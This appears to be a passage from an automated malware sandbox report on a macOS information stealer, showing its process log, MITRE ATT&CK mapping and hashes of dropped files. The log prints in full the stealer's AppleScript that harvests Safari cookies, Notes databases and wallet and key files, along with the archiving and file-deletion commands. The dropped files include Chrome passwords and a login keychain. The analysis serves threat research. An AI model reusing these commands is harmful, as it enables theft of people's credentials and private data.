fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"
1⤵
PID:645

/usr/bin/osascript
osascript -e "set baseFolderPath to (path to home folder as text) & \"503925553\"" -e "set fileGrabberFolderPath to (path to home folder as text) & \"503925553:FileGrabber:\"" -e "tell application \"Finder\"" -e "set username to short user name of (system info)" -e try -e "if not (exists folder fileGrabberFolderPath) then" -e "make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}" -e "end if" -e "set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")" -e try -e "duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing" -e "end try" -e "set homePath to path to home folder as string" -e "set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"" -e try -e "duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "duplicate file \"NoteStore.sqlite-shm\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "duplicate file \"NoteStore.sqlite-wal\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "end try" -e "set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}" -e "set desktopFiles to every file of desktop" -e "set documentsFiles to every file of folder \"Documents\" of (path to home folder)" -e "repeat with aFile in (desktopFiles & documentsFiles)" -e "set fileExtension to name extension of aFile" -e "if fileExtension is in extensionsList then" -e "set fileSize to size of aFile" -e "if fileSize ≤ 51200 then" -e "duplicate aFile to folder fileGrabberFolderPath with replacing" -e "end if" -e "end if" -e "end repeat" -e "end try" -e "end tell"
1⤵
PID:645

/usr/libexec/xpcproxy
xpcproxy com.apple.DesktopServicesHelper.7D5D4B80-654B-478F-82F3-A285190D1C56
1⤵
PID:654

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
1⤵
PID:654

/usr/libexec/xpcproxy
xpcproxy com.apple.DesktopServicesHelper.FF25FB0C-BB28-4FCC-9711-39072886DFA9
1⤵
PID:655

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
1⤵
PID:655

/usr/libexec/xpcproxy
xpcproxy com.apple.DesktopServicesHelper.61E4FEDD-2952-4D6D-86FC-AAFDBEBAF179
1⤵
PID:656

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
1⤵
PID:656

/bin/sh
sh -c "ditto -c -k --sequesterRsrc --keepParent /Users/run/503925553 /Users/run/503925553.zip --norsrc --noextattr"
1⤵
PID:657

/bin/bash
sh -c "ditto -c -k --sequesterRsrc --keepParent /Users/run/503925553 /Users/run/503925553.zip --norsrc --noextattr"
1⤵
PID:657

/usr/bin/ditto
ditto -c -k --sequesterRsrc --keepParent /Users/run/503925553 /Users/run/503925553.zip --norsrc --noextattr
1⤵
PID:657

/bin/sh
sh -c "rm -rf /Users/run/503925553"
1⤵
PID:661

/bin/bash
sh -c "rm -rf /Users/run/503925553"
1⤵
PID:661

/bin/rm
rm -rf /Users/run/503925553
1⤵
PID:661

/bin/sh
sh -c "rm /Users/run/503925553.zip"
1⤵
PID:662

/bin/bash
sh -c "rm /Users/run/503925553.zip"
1⤵
PID:662

/bin/rm
rm /Users/run/503925553.zip
1⤵
PID:662

/bin/sh
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
1⤵
PID:663

/bin/bash
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
1⤵
PID:663

/usr/bin/osascript
osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop"
1⤵
PID:663

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon
1⤵
PID:664

/bin/launchctl
/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon
1⤵
PID:665

/usr/libexec/xpcproxy
xpcproxy com.apple.geod
1⤵
PID:673

/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
1⤵
PID:673

/usr/libexec/xpcproxy
xpcproxy com.apple.AddressBook.ContactsAccountsService
1⤵
PID:676

/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService
/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService
1⤵
PID:676

/usr/libexec/xpcproxy
xpcproxy com.apple.routined
1⤵
PID:677

/usr/libexec/routined
/usr/libexec/routined LAUNCHED_BY_LAUNCHD
1⤵
PID:677

/usr/libexec/xpcproxy
xpcproxy com.apple.Maps.mapspushd
1⤵
PID:678

/System/Library/CoreServices/mapspushd
/System/Library/CoreServices/mapspushd
1⤵
PID:678

/usr/libexec/xpcproxy
xpcproxy com.apple.neagent.878568F8-CCE5-4157-8315-22F20DC8FB0A
1⤵
PID:679

/usr/libexec/neagent
/usr/libexec/neagent
1⤵
PID:679

/usr/libexec/xpcproxy
xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
1⤵
PID:681

/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
1⤵
PID:681

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

AppleScript

T1059.002

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Resource Forking

T1564.009

Indicator Removal

T1070

File Deletion

T1070.004

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

File and Directory Discovery

T1083

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

com.apple.networkextension.uuidcache.plist

Path /Library/Preferences/com.apple.networkextension.uuidcache.plist
Size 355B
SHA256 232441aa129d4f21999860b8bf31db4b8617df9f7d32ef5f25a383edff82d9fa
MD5 a6ef4856e99c9d8e1d9bb762c5a8503a
SHA1 25d5405ad91791b716ae5a56b37aa2b393854967
SHA512 582fa1ea60766a5a4e99b295a8ed98c94f6bab45e42b7e8db61e9ad645f531891082cd457bfd11d660195af86f02c4ed93589e6e6daded683cff2d8319bbc489
MD5 SHA1 SHA512

Submit Download

com.apple.networkextension.uuidcache.plist

Path /Library/Preferences/com.apple.networkextension.uuidcache.plist
Size 42B
SHA256 9261ecceda608ef174256e5fdc774c1e6e3dcf533409c1bc393d490d01c713f1
MD5 ce7f5b3d4bfc7b4b0da6a06dccc515f2
SHA1 ce657a52a052a3aaf534ecfbf7cbdde4ee334c10
SHA512 db9de6afa0e14c347aa0988a985b8a453ef133a2413c03bae0fab48bda34d4f9a488db104837a386bb65c393e8f11b1ed4856b211c1c186423649c147d6aabfb
MD5 SHA1 SHA512

Submit Download

com.apple.networkextension.uuidcache.plist

Path /Library/Preferences/com.apple.networkextension.uuidcache.plist
Size 102B
SHA256 e011a72bbc74022b95a19b372a056dea8fc8a79528ec31ce0187a0192460c842
MD5 41531bfeb1fcaa0616c0cac52bb384d3
SHA1 4c17da98d22bc143f3ce373027ed8c9088a1d35d
SHA512 20ce2edfe1860d8d79350ba8646ec6cf269aaba05f144fd57388c06ddb7db2e8248729c6775932400e3cd07759b4bf99a41bc3b83f17601814214239eb274325
MD5 SHA1 SHA512

Submit Download

com.apple.networkextension.uuidcache.plist

Path /Library/Preferences/com.apple.networkextension.uuidcache.plist
Size 122B
SHA256 32e02684c812ae318d21fd46c6b34bc663c8a36279535e4f01894c01ed04deb5
MD5 5b21a7d986c41307be285d416dcfbfd4
SHA1 99f5e69f60b6de45d6e2ef98b06d2a16b0b8dbc1
SHA512 f8003c0b2274fd15567bb629a44489cffddd2e45981345c64b4d2b35b78a4673046441660e496cb834ce13c25e130607cb948a273f9c1d08481c1bb92204429c
MD5 SHA1 SHA512

Submit Download

Autofill0

Path /Users/run/./503925553/Chromium/Chrome/Autofill0
Size 90KB
SHA256 5b6dd3116e1d3ecbf6d07ecfc03f1537ab00ce91336cc7c6cddda6df0c9984d3
MD5 4e9060f76c1cb5b54005dc6640a58f0d
SHA1 04a1e6791ae55612d9b63f23ccb37eec398b3d27
SHA512 be921e02bb810fb867c1de3e3c2a9c3b04c84188d6a9eae60b73558bd4748c1451161da8fba2c8e74f225be4b8a6f0e98276fe1e397b0083fcbbd4ebdf32e148
SSDEEP 192:ZxiMZY9zIH9xh/EKCTjHbRo2snAVumNrp60nr:ri99za9xVb2snAVumNlfr
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cookies2

Path /Users/run/./503925553/Chromium/Chrome/Cookies2
Size 20KB
SHA256 d52ad17cc5096119732f06311ef2e25005c2a00f551c9684e2d655cbc846455b
MD5 2a3fa78b5f55b529a2698ad187c80204
SHA1 cbbda35512038de511ac23b0aed12e9e86bcc796
SHA512 e9b113ec0c6a888e059cf625b0bfb128d11a55970fed12df30848c9f836c5f36b2660abb4e2a820e7dedd6f0ead312edec1c6cd645f14091d98b42f696bda9ab
SSDEEP 48:TOQXOpyO5JMxnvm8U1S+9Hqvf4U/TkN/bWHIQP6BGH08fxvf3kQK9xG+:COn5X/TkoP6/8fN3kQgg+
MD5 SHA1 SHA512 SSDEEP

Submit Download

Password1

Path /Users/run/./503925553/Chromium/Chrome/Password1
Size 40KB
SHA256 45bda2415419c24d2526ae60cae5ee1d66bc8d2cc986bb9e94c0f3c414af06c1
MD5 b6914d8e5cb470236eceed8d6f8b4fb7
SHA1 cdff8880e9fa7630fc8d57af4669365b5ab29b60
SHA512 1c491cfeb2b883ed20a43e16d7bf620520f4b770c8727ffb83e02554aa6aa54def4732460bcff82014050f7a1fba38e01f5570cacfbfcef6da6f2f795dc56ee7
SSDEEP 48:273zaBA+IIDeNCVEq8Ma0D0HOlcFlNUK6lGNxGt7KLk8s8LKvUf9KVyJ7hU:mzioCn8MouOFlulGNxGt7KLyeymw
MD5 SHA1 SHA512 SSDEEP

Submit Download

Sysinfo.txt

Path /Users/run/./503925553/Sysinfo.txt
Size 1KB
SHA256 ae00c9d8658f39955fde6c9fd5240ab5cf559a50655af020d474712a17588117
MD5 52119b8bfa42ae4642c543aa0f823383
SHA1 bae36a67dae9dccc226169a599393207660eaaf1
SHA512 15fc56ebe8973d0d863532b960ecadbb385c8431755c0851ee0cfbb3a527cdb80a3487368fbbf807843b6c31af2fdc98b8c1c0a81c889f17d6d3fa148a20e678
MD5 SHA1 SHA512

Submit Download

Path /Users/run/./503925553/login-keychain
Size 102KB
SHA256 61e2cc7be83ac7d3a1e7896d2e4427ccc03d9313e1c9a875bcf5ab9e17c55796
MD5 47e9495b4d8ea6d2228316add97c91df
SHA1 2a13a858f6d127f0d096557aca19c43e5bf5ee9f
SHA512 d3133f13fbddb8452feddf61c3fa1f88b49bb691f60690f73910ee427fe9420edfb71aefac7c2410e948c0bae502744a0fb2062e5faa33554200329200d87bce
SSDEEP 3072:gZo6c0Iyr8nVB46OZVhTLXS/iROPQrDQixBbnoLEsnoXAKvkki1GtDPgijXmMS52:gZj7d
MD5 SHA1 SHA512 SSDEEP

Submit Download

password-entered

Path /Users/run/./503925553/password-entered
Size 4B
SHA256 4813494d137e1631bba301d5acab6e7bb7aa74ce1185d456565ef51d737677b2
MD5 63a9f0ea7bb98050796b649e85481845
SHA1 dc76e9f0c0006e8f919e0c515c66dbba3982f785
SHA512 99adc231b045331e514a516b4b7680f588e3823213abe901738bc3ad67b2f6fcb3c64efb93d18002588d3ccc1a49efbae1ce20cb43df36b38651f11fa75678e8
MD5 SHA1 SHA512

Submit Download

Sysinfo.txt

Path /Users/run/503925553/Sysinfo.txt
Size 1KB
SHA256 aabbf6f35c3549fabb348f0f0ab932ab07f0cd149f04cdf15df63fc604091a4f
MD5 0e93693dec0c0b9888aab3d191fa26b3
SHA1 d52de0c291956fa22c7df8e82af90af77eeaeca2
SHA512 349d6d5a029c4eace52f1fec070bb9d8231a5e7e8f25af93204e1e4232d1d74f8ceeab7916914a43f86072c6fc2756aabee49746c689e8658dc7bdd9a0e471f9
MD5 SHA1 SHA512

Submit Download

Sysinfo.txt

Path /Users/run/503925553/Sysinfo.txt
Size 1KB
SHA256 44f6071e56e4305b1a4af0e253e00d6fdde573ad437e5e814a86e38f819d6972
MD5 d9339b922eafa6b4a938f854950a2db6
SHA1 c79faad706cf5b761f6b807868972536cc7cfa9a
SHA512 8abefc71ef7ec0c1eaf7dc2d408c91352594caa10626855fbbdba581e1e18ee35f36c20f0bf33a3711f56110a896160d9e28800b4faeb6d2f5261e9703d2bde2
MD5 SHA1 SHA512

Submit Download

ActiveTileGroup.pbd

Path /Users/run/Library/Caches/GeoServices/ActiveTileGroup.pbd
Size 124KB
SHA256 d3e3b6170c91e2bba27ebc8ded2a298e39b404b6b2a5b68ced9d0341e0c2eb00
MD5 f306b4868c099cce188038875b587f71
SHA1 d69b162835e499fed3b5f71ca9d890a40708cf9c
SHA512 c76a9c237751b9cd1cd183303a4dc2e95d883c17f56343bb5fb5ef23374f092216f27e7a18537e2d1a8382153e2dd017d4d23ea00f47964a1292f98b39e1f9a6
SSDEEP 3072:5G1qT+GhOAwVwEJcrhslHsj0YgN0fT7V/CEF7tPGqpyqA7icNCRqcV:5GqT+GhOA1ralMj0Zy7tOiHV
MD5 SHA1 SHA512 SSDEEP

Submit Download

altitude-1249.xml

Path /Users/run/Library/Caches/GeoServices/Resources/altitude-1249.xml
Size 160KB
SHA256 9320e397ccc5577acc65da1f4cbafea31c1d802014ec4b4459c628b449414fdc
MD5 c0b8e6fb70a16991ed49a487448cd106
SHA1 71f21321168dc466e7f64eb2c2516cecb1a931c3
SHA512 ae0c5fb1b29d7f80511a846f8c3db54d018aba7b9314792e63d6844ded948610aed6aeac4388dfbfd8530dbaaeae4cf479c10f52746bab866509d71217111ba1
SSDEEP 768:SGSaD5wrMhcpPXOqeyuwnW8arz4DZKrj45vJq2ZW/gt8VxtaxU3B4c4lWDSr/g22:SGSsJZyXba6lU6CDTwlHEkmXC1A
MD5 SHA1 SHA512 SSDEEP

Submit Download

mdsDirectory.db

Path /var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/assistantd//mds/mdsDirectory.db
Size 47KB
SHA256 cca093bcfc65e25dd77c849866e110df72526dffbe29d76e11e29c7d888a4030
MD5 0e4a0d1ceb2af6f0f8d0167ce77be2d3
SHA1 414ba4c1dc5fc8bf53d550e296fd6f5ad669918c
SHA512 1dc5282d27c49a4b6f921ba5dfc88b8c1d32289df00dd866f9ac6669a5a8d99afeda614bffc7cf61a44375ae73e09cd52606b443b63636977c9cd2ef4fa68a20
SSDEEP 384:xSMdGleGkIG7FF3theSMVXBD0tgcNrGB5pBfbouR6/chQOnGqwc2U+v+h/:8MdGleOhpBouRwchQOnGqwc2U+v+h/
MD5 SHA1 SHA512 SSDEEP

Submit Download

mdsObject.db

Path /var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/assistantd//mds/mdsObject.db
Size 4KB
SHA256 3ebafa97782204a4a1d75cfec22e15fcdeab45b65bab3b3e65508707e034a16c
MD5 d3a1859e6ec593505cc882e6def48fc8
SHA1 f8e6728e3e9de477a75706faa95cead9ce13cb32
SHA512 ea2a749b105759ea33408186b417359deffb4a3a5ed0533cb26b459c16bb3524d67ede5c9cf0d5098921c0c0a9313fb9c2672f1e5ba48810eda548fa3209e818
SSDEEP 24:mFkXs98w/mBr53CEb9ujBbCYoVeA7uBEUMy733Ka2VCneWHrUZRJkWnJI4FNMOQS:m6Xsh+CLjL3Pe3T5FFEfEn8xiYuuSsS
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads